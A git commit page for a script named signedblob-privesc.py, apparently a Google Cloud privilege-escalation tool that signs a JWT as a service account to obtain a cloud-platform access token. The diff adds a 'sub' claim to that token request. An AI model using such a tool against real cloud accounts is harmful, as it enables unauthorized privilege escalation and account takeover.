diff options
| author | subh <subh@example.com> | 2026-02-13 12:59:02 +0530 |
|---|---|---|
| committer | subh <subh@example.com> | 2026-02-13 12:59:02 +0530 |
| commit | 2b2f21deeae4941a0fc447d1f0f355bf03b60284 (patch) | |
| tree | 0b4b14b21ef23eb8ab30b53abf3fbf7dc882f745 | |
| parent | f95897d65f2830da9ea3384a0a04aca4c9daa3ae (diff) | |
added the 'sub' field to the claim setmain
| -rw-r--r-- | signedblob-privesc.py | 1 |
1 files changed, 1 insertions, 0 deletions
diff --git a/signedblob-privesc.py b/signedblob-privesc.py index d105261..8520215 100644 --- a/signedblob-privesc.py +++ b/signedblob-privesc.py @@ -17,6 +17,7 @@ def createJwt(service_account_email): header = {"alg": "RS256", "typ": "JWT"} payload = { "iss": service_account_email, + "sub": service_account_email, "scope": "https://www.googleapis.com/auth/cloud-platform", "aud": "https://oauth2.googleapis.com/token", "exp": now + 3600, |
